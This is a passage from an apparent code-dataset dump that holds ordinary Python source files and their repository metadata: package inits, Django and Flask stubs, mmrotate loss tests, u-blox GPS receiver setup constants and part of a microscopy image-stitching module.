2021-08-12T10:40:28.000Z

from flask import Blueprint bp = Blueprint('assessment', __name__) from app.assessment import routes

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1

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5

ca1e1da567e34617d96f66de20f0e664963aa431

92

py

Python

tftf/__init__.py

yusugomori/tftf

e98b9ddffdbaa1fe04320437a47f12f3182ab6f3

[ "Apache-2.0" ]

35

2018-08-11T05:01:41.000Z

2021-01-29T02:28:47.000Z

tftf/__init__.py

yusugomori/tftf

e98b9ddffdbaa1fe04320437a47f12f3182ab6f3

[ "Apache-2.0" ]

null

tftf/__init__.py

yusugomori/tftf

e98b9ddffdbaa1fe04320437a47f12f3182ab6f3

[ "Apache-2.0" ]

4

2018-10-19T14:12:04.000Z

2021-01-29T02:28:49.000Z

from .datasets import * from .layers import * from .models import * __version__ = '0.0.29'

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4.692308

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null

0

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1

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5

ca209532982dc6f81d2d8ee667b5d258d0912676

38

py

Python

validator/bin/run.py

acmiyaguchi/mozschema-validator

04d265bb9359107580f8726bce5102b14a68f156

[ "MIT" ]

null

validator/bin/run.py

acmiyaguchi/mozschema-validator

04d265bb9359107580f8726bce5102b14a68f156

[ "MIT" ]

2

2018-04-13T20:54:16.000Z

2018-05-01T01:11:32.000Z

validator/bin/run.py

acmiyaguchi/schema-validator

04d265bb9359107580f8726bce5102b14a68f156

[ "MIT" ]

null

from validator import app app.main()

9.5

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null

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1

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5

ca3ee8526ebdaf834c4fb3681de66f5cc4e83223

133

py

Python

py_rofi_bus/components/mixins/__init__.py

thecjharries/py-rofi-bus

52deb387f24639773b6a390360e857df2d82fe37

[ "0BSD" ]

null

py_rofi_bus/components/mixins/__init__.py

thecjharries/py-rofi-bus

52deb387f24639773b6a390360e857df2d82fe37

[ "0BSD" ]

null

py_rofi_bus/components/mixins/__init__.py

thecjharries/py-rofi-bus

52deb387f24639773b6a390360e857df2d82fe37

[ "0BSD" ]

null

# pylint:disable=W,C,R from .has_config import HasConfig from .has_pid import HasPid from .manages_processes import ManagesProcesses

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48

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1

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1

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ca52bf10a3c13ad103c254644b80cd50cb216d86

92

py

Python

hashtagsv2/hashtags/admin.py

eggpi/hashtags

a5bdc8d43159cb25df1a1155951cc96d725e786d

[ "MIT" ]

13

2019-12-02T15:35:14.000Z

2022-03-13T18:22:06.000Z

hashtagsv2/hashtags/admin.py

eggpi/hashtags

a5bdc8d43159cb25df1a1155951cc96d725e786d

[ "MIT" ]

35

2019-05-13T10:24:03.000Z

2021-12-14T14:13:38.000Z

hashtagsv2/hashtags/admin.py

eggpi/hashtags

a5bdc8d43159cb25df1a1155951cc96d725e786d

[ "MIT" ]

15

2018-10-17T15:01:13.000Z

2019-04-08T13:57:50.000Z

from django.contrib import admin from .models import Hashtag admin.site.register(Hashtag)

15.333333

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0.815217

13

92

5.769231

0.692308

0

0.119565

92

5

33

18.4

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1

0

true

0

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0.666667

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1

0

null

0

1

0

1

0

1

0

5

ca6c22adc311353b790d1fd415522f311a837d13

401

py

Python

function/python/brightics/function/recommendation/__init__.py

GSByeon/studio

782cf484541c6d68e1451ff6a0d3b5dc80172664

[ "Apache-2.0" ]

null

function/python/brightics/function/recommendation/__init__.py

GSByeon/studio

782cf484541c6d68e1451ff6a0d3b5dc80172664

[ "Apache-2.0" ]

null

function/python/brightics/function/recommendation/__init__.py

GSByeon/studio

782cf484541c6d68e1451ff6a0d3b5dc80172664

[ "Apache-2.0" ]

1

2020-11-19T06:44:15.000Z

from .association_rule import association_rule from .association_rule import association_rule_visualization from .als import als_train from .als import als_predict from .als import als_recommend from .collaborative_filtering import collaborative_filtering_train from .collaborative_filtering import collaborative_filtering_predict from .collaborative_filtering import collaborative_filtering_recommend

50.125

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null

0

1

0

1

0

5

ca7fda4d86c2fba009810467ffdbbaf903beb734

138

py

Python

Src/StdLib/Lib/site-packages/pythoncom.py

cwensley/ironpython2

f854444e1e08afc8850cb7c1a739a7dd2d10d32a

[ "Apache-2.0" ]

1,078

2016-07-19T02:48:30.000Z

2022-03-30T21:22:34.000Z

Src/StdLib/Lib/site-packages/pythoncom.py

cwensley/ironpython2

f854444e1e08afc8850cb7c1a739a7dd2d10d32a

[ "Apache-2.0" ]

576

2017-05-21T12:36:48.000Z

2022-03-30T13:47:03.000Z

Src/StdLib/Lib/site-packages/pythoncom.py

cwensley/ironpython2

f854444e1e08afc8850cb7c1a739a7dd2d10d32a

[ "Apache-2.0" ]

269

2017-05-21T04:44:47.000Z

2022-03-31T16:18:13.000Z

# Magic utility that "redirects" to pythoncomxx.dll import pywintypes pywintypes.__import_pywin32_system_module__("pythoncom", globals())

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5

0461b582aac0fa16e0fc7a9e87a02f30b33f771e

302

py

Python

scribbler/transformation/abstract_transformation.py

belosthomas/scribbler

fbd0bfb68cd30ca451b5d616d372b5e96ec0f8be

[ "MIT" ]

5

2018-07-31T20:26:22.000Z

2019-05-07T16:36:23.000Z

scribbler/transformation/abstract_transformation.py

belosthomas/scribbler

fbd0bfb68cd30ca451b5d616d372b5e96ec0f8be

[ "MIT" ]

1

2019-05-07T18:21:59.000Z

2020-09-18T10:45:39.000Z

scribbler/transformation/abstract_transformation.py

belosthomas/scribbler

fbd0bfb68cd30ca451b5d616d372b5e96ec0f8be

[ "MIT" ]

null

from abc import ABCMeta, abstractmethod class AbstractTransformation: __metaclass__ = ABCMeta @abstractmethod def transform_image(self, image): pass @abstractmethod def transform_position(self, x, y, width, height): pass @abstractmethod def generate_random(self): pass

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5

049b2c4530e3c2a3c838d7a8ba5e4731d9eb7c02

96

py

Python

venv/lib/python3.8/site-packages/numpy/f2py/__main__.py

Retraces/UkraineBot

3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71

[ "MIT" ]

2

2022-03-13T01:58:52.000Z

2022-03-31T06:07:54.000Z

venv/lib/python3.8/site-packages/numpy/f2py/__main__.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

19

2021-11-20T04:09:18.000Z

2022-03-23T15:05:55.000Z

venv/lib/python3.8/site-packages/numpy/f2py/__main__.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

null

/home/runner/.cache/pip/pool/ea/2d/a3/547d9f3eb895d5aa1c4d8fdd505bd62b5f2a6bece3a6721203e3a9177c

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1

0

null

1

0

1

0

5

049e976fdc251ba040ae03bbea33cb7d8d2af1b6

4,093

py

Python

tests/test_models/test_loss.py

williamcorsel/mmrotate

00a3b9af34c4e36c82616d98fdb91b468d4cfb34

[ "Apache-2.0" ]

1

2022-02-18T11:01:19.000Z

tests/test_models/test_loss.py

williamcorsel/mmrotate

00a3b9af34c4e36c82616d98fdb91b468d4cfb34

[ "Apache-2.0" ]

null

tests/test_models/test_loss.py

williamcorsel/mmrotate

00a3b9af34c4e36c82616d98fdb91b468d4cfb34

[ "Apache-2.0" ]

null

# Copyright (c) OpenMMLab. All rights reserved. import pytest import torch from mmrotate.models.losses import (BCConvexGIoULoss, ConvexGIoULoss, GDLoss, GDLoss_v1, KFLoss, KLDRepPointsLoss) @pytest.mark.skipif( not torch.cuda.is_available(), reason='requires CUDA support') @pytest.mark.parametrize('loss_class', [BCConvexGIoULoss, ConvexGIoULoss, KLDRepPointsLoss]) def test_convex_regression_losses(loss_class): """Tests convex regression losses. Args: loss_class (str): type of convex loss. """ pred = torch.rand((10, 18)).cuda() target = torch.rand((10, 8)).cuda() weight = torch.rand((10, )).cuda() # Test loss forward loss = loss_class()(pred, target) assert isinstance(loss, torch.Tensor) # Test loss forward with weight loss = loss_class()(pred, target, weight) assert isinstance(loss, torch.Tensor) # Test loss forward with reduction_override loss = loss_class()(pred, target, reduction_override='mean') assert isinstance(loss, torch.Tensor) # Test loss forward with avg_factor loss = loss_class()(pred, target, avg_factor=10) assert isinstance(loss, torch.Tensor) # @pytest.mark.skipif( # not torch.cuda.is_available(), reason='requires CUDA support') @pytest.mark.parametrize('loss_type', ['gwd', 'kld', 'jd', 'kld_symmax', 'kld_symmin']) def test_gaussian_regression_losses(loss_type): """Tests gaussian regression losses. Args: loss_class (str): type of gaussian loss. """ pred = torch.rand((10, 5)) target = torch.rand((10, 5)) weight = torch.rand((10, 5)) # Test loss forward with weight loss = GDLoss(loss_type)(pred, target, weight) assert isinstance(loss, torch.Tensor) # Test loss forward with reduction_override loss = GDLoss(loss_type)(pred, target, weight, reduction_override='mean') assert isinstance(loss, torch.Tensor) # Test loss forward with avg_factor loss = GDLoss(loss_type)(pred, target, weight, avg_factor=10) assert isinstance(loss, torch.Tensor) # @pytest.mark.skipif( # not torch.cuda.is_available(), reason='requires CUDA support') @pytest.mark.parametrize('loss_type', ['bcd', 'kld', 'gwd']) def test_gaussian_v1_regression_losses(loss_type): """Tests gaussian regression losses v1. Args: loss_class (str): type of gaussian loss v1. """ pred = torch.rand((10, 5)) target = torch.rand((10, 5)) weight = torch.rand((10, 5)) # Test loss forward with weight loss = GDLoss_v1(loss_type)(pred, target, weight) assert isinstance(loss, torch.Tensor) # Test loss forward with reduction_override loss = GDLoss_v1(loss_type)( pred, target, weight, reduction_override='mean') assert isinstance(loss, torch.Tensor) # Test loss forward with avg_factor loss = GDLoss_v1(loss_type)(pred, target, weight, avg_factor=10) assert isinstance(loss, torch.Tensor) # @pytest.mark.skipif( # not torch.cuda.is_available(), reason='requires CUDA support') def test_kfiou_regression_losses(): """Tests kfiou regression loss.""" pred = torch.rand((10, 5)) target = torch.rand((10, 5)) weight = torch.rand((10, 5)) pred_decode = torch.rand((10, 5)) targets_decode = torch.rand((10, 5)) # Test loss forward with weight loss = KFLoss()( pred, target, weight, pred_decode=pred_decode, targets_decode=targets_decode) assert isinstance(loss, torch.Tensor) # Test loss forward with reduction_override loss = KFLoss()( pred, target, weight, pred_decode=pred_decode, targets_decode=targets_decode, reduction_override='mean') assert isinstance(loss, torch.Tensor) # Test loss forward with avg_factor loss = KFLoss()( pred, target, weight, pred_decode=pred_decode, targets_decode=targets_decode, avg_factor=10) assert isinstance(loss, torch.Tensor)

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0

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null

0

5

04d1c24f6bc208b7f6d8c3f5553d0bc232b26a52

48

py

Python

crusoe_observe/OS-parser-component/osrest/__init__.py

CSIRT-MU/CRUSOE

73e4ac0ced6c3ac46d24ac5c3feb01a1e88bd36b

[ "MIT" ]

3

2021-11-09T09:55:17.000Z

2022-02-19T02:58:27.000Z

crusoe_observe/OS-parser-component/osrest/__init__.py

CSIRT-MU/CRUSOE

73e4ac0ced6c3ac46d24ac5c3feb01a1e88bd36b

[ "MIT" ]

null

crusoe_observe/OS-parser-component/osrest/__init__.py

CSIRT-MU/CRUSOE

73e4ac0ced6c3ac46d24ac5c3feb01a1e88bd36b

[ "MIT" ]

null

from .run import parse from .OS_parser import *

16

24

0.770833

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1

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1

0

5

04d5fda73dffb7cd7356b901c8a85e9f290d1c22

6,177

py

Python

ublox_reader/serial/constants.py

acutaia/goeasy-ublox_reader

f4662389667c9087ca73dd33e5122891bd05db8a

[ "Apache-2.0" ]

null

ublox_reader/serial/constants.py

acutaia/goeasy-ublox_reader

f4662389667c9087ca73dd33e5122891bd05db8a

[ "Apache-2.0" ]

null

ublox_reader/serial/constants.py

acutaia/goeasy-ublox_reader

f4662389667c9087ca73dd33e5122891bd05db8a

[ "Apache-2.0" ]

null

""" Constants for SerialReceiver :author: Angelo Cutaia :copyright: Copyright 2021, LINKS Foundation :version: 1.0.0 .. Copyright 2021 LINKS Foundation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at https://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ # settings from ..settings import config # ------------------------------------------------------------------------------ # Module version __version_info__ = (1, 0, 0) __version__ = ".".join(str(x) for x in __version_info__) # Documentation strings format __docformat__ = "restructuredtext en" # ------------------------------------------------------------------------------ ########## # SERIAL # ########## SERIAL_PORT = config.get("SERIAL", "PORT") """Serial port used by the Ublox Receiver""" SERIAL_BAUDRATE = config.getint("SERIAL", "BAUDRATE") """Baudrate of the serial connection""" # ------------------------------------------------------------------------------ ############# # EXCEPTION # ############# class UbloxSerialException(Exception): """Base class for ublox serial errors""" def __init__(self, *args, **kwargs): # real signature unknown pass # ------------------------------------------------------------------------------ ############### # SETUP BYTES # ############### SETUP_BYTES = [ # DISABLE OTHER MESSAGES bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF0, 0x0A, 0x00, 0x04, 0x23]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF0, 0x09, 0x00, 0x04, 0x21]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF0, 0x00, 0x00, 0xFA, 0x0F]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF0, 0x01, 0x00, 0xFB, 0x11]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF0, 0x0D, 0x00, 0x07, 0x29]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF0, 0x06, 0x00, 0x00, 0x1B]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF0, 0x02, 0x00, 0xFC, 0x13]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF0, 0x07, 0x00, 0x01, 0x1D]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF0, 0x03, 0x00, 0xFD, 0x15]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF0, 0x04, 0x00, 0xFE, 0x17]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF0, 0x0F, 0x00, 0x09, 0x2D]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF0, 0x05, 0x00, 0xFF, 0x19]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF0, 0x08, 0x00, 0x02, 0x1F]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF1, 0x00, 0x00, 0xFB, 0x12]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF1, 0x01, 0x00, 0xFC, 0x14]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF1, 0x03, 0x00, 0xFE, 0x18]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF1, 0x04, 0x00, 0xFF, 0x1A]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF1, 0x05, 0x00, 0x00, 0x1C]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0xF1, 0x06, 0x00, 0x01, 0x1E]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x60, 0x00, 0x6B, 0x02]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x05, 0x00, 0x10, 0x4C]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x22, 0x00, 0x2D, 0x86]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x31, 0x00, 0x3C, 0xA4]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x04, 0x00, 0x0F, 0x4A]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x40, 0x00, 0x4B, 0xC2]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x61, 0x00, 0x6C, 0x04]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x39, 0x00, 0x44, 0xB4]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x13, 0x00, 0x1E, 0x68]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x14, 0x00, 0x1F, 0x6A]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x09, 0x00, 0x14, 0x54]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x34, 0x00, 0x3F, 0xAA]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x01, 0x00, 0x0C, 0x44]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x02, 0x00, 0x0D, 0x46]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x07, 0x00, 0x12, 0x50]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x3C, 0x00, 0x47, 0xBA]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x35, 0x00, 0x40, 0xAC]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x32, 0x00, 0x3D, 0xA6]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x06, 0x00, 0x11, 0x4E]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x03, 0x00, 0x0E, 0x48]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x3B, 0x00, 0x46, 0xB8]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x30, 0x00, 0x3B, 0xA2]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x24, 0x00, 0x2F, 0x8A]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x25, 0x00, 0x30, 0x8C]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x23, 0x00, 0x2E, 0x88]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x20, 0x00, 0x2B, 0x82]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x26, 0x00, 0x31, 0x8E]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x21, 0x00, 0x2C, 0x84]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x11, 0x00, 0x1C, 0x64]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x12, 0x00, 0x1D, 0x66]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x02, 0x15, 0x00, 0x21, 0x6F]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x02, 0x13, 0x01, 0x20, 0x6C]), # ACTIVATE TIMING bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x25, 0x01, 0x31, 0x8D]), bytes([0xB5, 0x62, 0x06, 0x01, 0x03, 0x00, 0x01, 0x22, 0x01, 0x2E, 0x87]), ] """ Bytes used to setup the Serial Receiver in order to disable/enable a specific message """ DELIMETER = bytes([0xB5, 0x62]) """ Delimeter of every Ublox Message """

44.121429

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5

04d64185267b3d00217e600b9ff7dace514d3162

90,207

py

Python

icon.py

sunyuting83/auto-wallpaper-pythontk

91ce331e7a55f884bd1fcf4501a2a183182b653a

[ "MIT" ]

null

icon.py

sunyuting83/auto-wallpaper-pythontk

91ce331e7a55f884bd1fcf4501a2a183182b653a

[ "MIT" ]

null

icon.py

sunyuting83/auto-wallpaper-pythontk

91ce331e7a55f884bd1fcf4501a2a183182b653a

[ "MIT" ]

null

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04e9b558edc86055533277471959d45abdfff936

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py

Python

wsgi.py

rogerdahl/acme-notifications

fa877af7361847ca70acc00fc8cb9adc9ab3dc45

[ "MIT" ]

null

wsgi.py

rogerdahl/acme-notifications

fa877af7361847ca70acc00fc8cb9adc9ab3dc45

[ "MIT" ]

null

wsgi.py

rogerdahl/acme-notifications

fa877af7361847ca70acc00fc8cb9adc9ab3dc45

[ "MIT" ]

null

import acme_notifications.init application = acme_notifications.init.app

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b6f7e210a8d6b1b4f112bb42361c0f38357cf65e

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py

Python

app/models.py

Darius8867/django_

3f420d3b96270c88287fe2017899036dc5c2a424

[ "MIT" ]

null

app/models.py

Darius8867/django_

3f420d3b96270c88287fe2017899036dc5c2a424

[ "MIT" ]

null

app/models.py

Darius8867/django_

3f420d3b96270c88287fe2017899036dc5c2a424

[ "MIT" ]

null

from django.db import models # Create your models # well hello

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py

Python

pysmFISH/stitching_package/stitching.py

ambrosejcarr/pysmFISH

0eb24355f70c0d5c9013a9407fd56f2e1e9ee3cb

[ "MIT" ]

5

2018-05-29T23:03:19.000Z

2022-02-02T02:04:41.000Z

pysmFISH/stitching_package/stitching.py

ambrosejcarr/pysmFISH

0eb24355f70c0d5c9013a9407fd56f2e1e9ee3cb

[ "MIT" ]

3

2018-12-18T20:18:38.000Z

2019-01-18T22:47:45.000Z

pysmFISH/stitching_package/stitching.py

ambrosejcarr/pysmFISH

0eb24355f70c0d5c9013a9407fd56f2e1e9ee3cb

[ "MIT" ]

5

2018-08-10T14:54:54.000Z

2021-10-09T13:32:08.000Z

"""Find or apply coordinates to stitch an image """ #import matplotlib.pyplot as plt #plt_available = True plt_available = False import sklearn.feature_extraction.image as sklim import numpy as np import skimage.transform as smtf import h5py import logging import time import os # Own imports from . import inout from . import pairwisesingle as ps from .MicroscopeData import MicroscopeData from .GlobalOptimization import GlobalOptimization from . import tilejoining from .. import utils # Logger logger = logging.getLogger(__name__) #################### Initial stitching functions ####################### def get_pairwise_input(ImageProperties,folder, tile_file, hyb_nr, gene = 'Nuclei', pre_proc_level = 'FilteredData', est_overlap = 0.1, y_flip = False, nr_dim = 2): """Get the information necessary to do the pairwise allignment Find the pairwise pars for an unknown stitching. Works best with a folder containing image with nuclei (DAPI staining) Parameters: ----------- folder: str String representing the path of the folder containing the tile file and the yaml metadata file. Needs a trailing slash ('/'). tile_file: pointer HDF5 file handle. Reference to the opened file containing the tiles. hyb_nr: int The number of the hybridization we are going to stitch. This will be used to navigate tile_file and find the correct tiles. gene: str The name of the gene we are going to stitch. This will be used to navigate tile_file and find the correct tiles. (Default: 'Nuclei') pre_proc_level: str The name of the pre processing group of the tiles we are going to stitch. This will be used to navigate tile_file and find the correct tiles. (Default: 'Filtered') est_overlap: float The fraction of two neighbours that should overlap, this is used to estimate the shape of the tile set and then overwritten by the actual average overlap according to the microscope coordinates. (default: 0.1) y_flip: bool The y_flip variable is designed for the cases where the microscope sequence is inverted in the y-direction. When set to True the y-coordinates will also be inverted before determining the tile set. (Default: False) nr_dim: int If 3, the code will assume three dimensional data for the tile, where z is the first dimension and y and x the second and third. For any other value 2-dimensional data is assumed. (Default: 2) Returns: -------- tiles: list List of references to the the tiles in the hdf5 file tile_file. contig_tuples: list List of tuples. Each tuple is a tile pair. Tuples contain two tile indexes denoting these tiles are contingent to each other. nr_pixels: int Height and length of the tile in pixels, tile is assumed to be square. z_count: int The number of layers in one tile (size of the z-axis). Is 1 when nr_dim is not 3. micData: object MicroscopeData object. Contains coordinates of the tile corners as taken from the microscope. """ logger.info("Getting files from folder: {}".format(folder)) # Load the information from the metadata file. ExperimentInfos, ImageProperties, HybridizationsInfos, \ Converted_Positions, MicroscopeParameters = \ utils.experimental_metadata_parser(folder) # Get coordinate data for this hybridization coord_data = Converted_Positions['Hybridization' + str(hyb_nr)] # Read the number of pixels, z-count and pixel size from the yaml # file. try: nr_pixels = ImageProperties['HybImageSize']['rows'] except KeyError as err: logger.info(("Number of pixels not found in experimental " + "metadata file.\nPlease add " + "the number of pixels in an image " + "to the experimental " + "metadata file under ImageProperties " + "--> HybImageSize --> rows.\n" + "KeyError: {}").format(err)) raise if nr_dim == 2: z_count = 1 else: try: z_count = ImageProperties['HybImageSize']['zcount'] except KeyError as err: logger.info(("Number of pixels not found in experimental " + "metadata file.\nPlease add " + "the number of slices in the z-stack " + "to the experimental " + "metadata file under ImageProperties " + "--> HybImageSize --> zcount.\n" + "KeyError: {}") .format(err)) raise try: pixel_size = ImageProperties['PixelSize'] except KeyError as err: logger.info(("ImageProperties['PixelSize'] not found in " + "experimental metadata file.\nPlease add the " + "size of a pixel in um in the experimental " + "metadata file under ImageProperties " + "--> PixelSize.\nKeyError: {}").format(err)) raise # Estimate the overlap in pixels with the overlap that the user # provided, default is 10% est_x_tol = nr_pixels * (1 - est_overlap) logger.info("Estimating overlap at {}%, that is {} pixels" .format(est_overlap * 100, est_x_tol)) logger.debug("Number of pixels: {}".format(nr_pixels)) logger.debug("Number of slices in z-stack: {}".format(z_count)) # Organize the microscope data and determine tile set micData = MicroscopeData(coord_data, y_flip, nr_dim) micData.normalize_coords(pixel_size) micData.make_tile_set(est_x_tol, nr_pixels = nr_pixels) # Make a list of image numbers, matching with the numbers in the # image files flat_tile_set = micData.tile_set.flat[:] image_list = [micData.tile_nr[ind] if ind >= 0 else -1 for ind in flat_tile_set] image_list = np.ma.masked_equal(image_list, -1) logger.info("Getting references for: {}".format(image_list)) # Make a list of the image names tiles = inout.get_image_names(tile_file, image_list = image_list, hyb_nr = hyb_nr, gene = gene, pre_proc_level = pre_proc_level) logger.info("Size tiles: {} Number of pixels: {} z count: {}" .format(len(tiles), nr_pixels, z_count)) # Produce an undirected graph of the tiles, tiles that are # neighbours to each other are connected in this graph. # noinspection PyPep8Naming C = np.asarray(sklim.grid_to_graph(*micData.tile_set.shape).todense()) np.fill_diagonal(C, 0) # noinspection PyPep8Naming C = np.triu( C ) # Extract the neighbour pairs from the graph contig_tuples =list(zip( *np.where( C ) )) logger.info(("Length contingency tuples: {} \n" + "Contingency tuples: {}") .format(len(contig_tuples), contig_tuples)) # Plotting tiles: #inout.display_tiles(tiles, micData.tile_set, fig_nr = 2, block = False) #plt.show(block = True) return (tiles, contig_tuples, nr_pixels, z_count, micData) def get_pairwise_alignments(tiles, tile_file, contig_tuples, micData, nr_peaks = 8, nr_slices = None, nr_dim = 2): """Calculate the pairwise transition Calculates pairwise transition for each neighbouring pair of tiles. This functions is only used in the single core version of the code, not when using MPI. Parameters: ----------- tiles: list List of references to the the tiles in the hdf5 file tile_file. tile_file: pointer HDF5 file handle. Reference to the opened file containing the tiles. contig_tuples: list List of tuples. Each tuple is a tile pair. Tuples contain two tile indexes denoting these tiles are contingent to each other. micData: object MicroscopeData object. Containing coordinates of the tile corners as taken from the microscope. nr_peaks: int Number of peaks to be extracted from the PCM (Default: 8) nr_slices: int Only applicable when running with 3D pictures and using 'compres pic' method in pairwisesingle.py. Determines the number of slices that are compressed together (compression in the z-direction). If None, all the slices are compressed together. (Default: None) nr_dim: int If 3, the code will assume three dimensional data for the tile, where z is the first dimension and y and x the second and third. For any other value 2-dimensional data is assumed. (default: 2) Returns: -------- : dict Contains key 'P' with a 1D numpy array containing pairwise alignment y and x coordinates (and z-coordinates when applicable) for each neighbouring pair of tiles, array will be 2 * len(contig_typles) for 2D data or 3 * len(contig_typles) for 3D data. Also contains key 'covs' with a 1D numpy array containing covariance for each pairwise alignment in 'P', 'covs' will be len(contig_typles). """ logger.info("Getting pairwise alignments...") P = np.empty((len(contig_tuples), nr_dim), dtype = int) covs = np.empty(len(contig_tuples)) for i in range(len(contig_tuples)): # noinspection PyPep8Naming P_single, cov, contig_index = ps.align_single_pair(tiles, tile_file, contig_tuples, i, micData, nr_peaks, nr_slices = nr_slices, nr_dim = nr_dim) P[contig_index,:] = P_single covs[contig_index] = cov logger.info("Raw P: {}".format(P)) #Flatten P P = np.array(P).flat[:] logger.info("flat P: {}".format(P)) return {'P': P, 'covs': covs} ############################# Apply #################################### def get_place_tile_input_apply(folder, tile_file, hyb_nr, data_name, gene = 'Nuclei', pre_proc_level = 'Filtered', nr_dim = 2, check_pairwise = False): """Get the data needed to apply stitching to another gene Parameters: ----------- folder: str String representing the path of the folder containing the tile file, the stitching data file the yaml metadata file. Needs a trailing slash ('/'). tile_file: pointer HDF5 file handle. Reference to the opened file containing the tiles. hyb_nr: int The number of the hybridization we are going to stitch. This will be used to navigate tile_file and find the correct tiles. data_name: str Name of the file containing the pickled stitching data. gene: str The name of the gene we are going to stitch. This will be used to navigate tile_file and find the correct tiles. (Default: 'Nuclei') pre_proc_level: str The name of the pre processing group of the tiles we are going to stitch. This will be used to navigate tile_file and find the correct tiles. (Default: 'Filtered') nr_dim: int If 3, the code will assume three dimensional data for the tile, where z is the first dimension and y and x the second and third. For any other value 2-dimensional data is assumed. (Default: 2) check_pairwise: bool If True the contig_tuples array is assumed to be in the pickled data file and will be returned. (Default: False) Returns: -------- joining: dict Taken from the stitching data file. Contains keys corner_list and final_image_shape. Corner_list is a list of list, each list is a pair of an image number (int) and it's coordinates (numpy array containing floats). Final_image_shape is a tuple of size 2 or 3 depending on the numer of dimensions and contains ints. tiles: list List of references to the the tiles in the hdf5 file tile_file. nr_pixels: int Height and length of the tile in pixels, tile is assumed to be square. z_count: int The number of layers in one tile (size of the z-axis). Is 1 when nr_dim is not 3. micData: object MicroscopeData object. Taken from the pickled stitching data. Contains coordinates of the tile corners as taken from the microscope. contig_tuples: list Only returned if check_pairwise == True. list of tuples. Taken from the pickled stitching data. Each tuple is a tile pair. Tuples contain two tile indexes denoting these tiles are contingent to each other. """ logger.info("Getting data to apply stitching from file...") # Load image list and old joining data stitching_coord_dict = inout.load_stitching_coord(folder + data_name) # noinspection PyPep8Naming micData = stitching_coord_dict['micData'] joining = stitching_coord_dict['joining'] logger.info("Joining object and image list loaded from file") # Make a list of image numbers flat_tile_set = micData.tile_set.flat[:] image_list = [micData.tile_nr[ind] if ind >= 0 else -1 for ind in flat_tile_set] image_list = np.ma.masked_equal(image_list, -1) logger.info("Tile set size: {}".format(micData.tile_set.shape)) logger.info("Placing folowing image references in tiles: {}" .format(image_list)) # Make a list 